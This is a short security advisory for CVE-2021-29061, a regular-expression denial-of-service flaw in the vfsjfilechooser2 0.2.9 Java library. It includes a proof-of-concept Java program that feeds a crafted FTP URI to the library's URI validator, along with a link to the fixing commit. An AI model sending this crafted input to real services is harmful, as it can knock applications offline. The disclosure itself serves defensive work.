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CVE-2021-29061

Package

vfsjfilechooser2

Overview

vfsjfilechooser2 is a mavenized fork of the dormant vfsjfilechooser project on sf.net

Regular Expression Denial of Service (ReDOS) in Vfsjfilechooser2 version 0.2.9.

It allows cause a denial of service when validating crafted invalid uris.

Proof of Concept

import com.googlecode.vfsjfilechooser2.utils.VFSURIValidator;

public class Main {
    public static void main(String[] args) {
        VFSURIValidator v = new VFSURIValidator();
        String _uri = "ftp://:@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::@::";
        System.out.println(v.isValid(_uri));
    }
}

GitHub Commit

https://github.com/fracpete/vfsjfilechooser2/commit/9c9f2c317f3de5ece60a3ae28c371e9796e3909b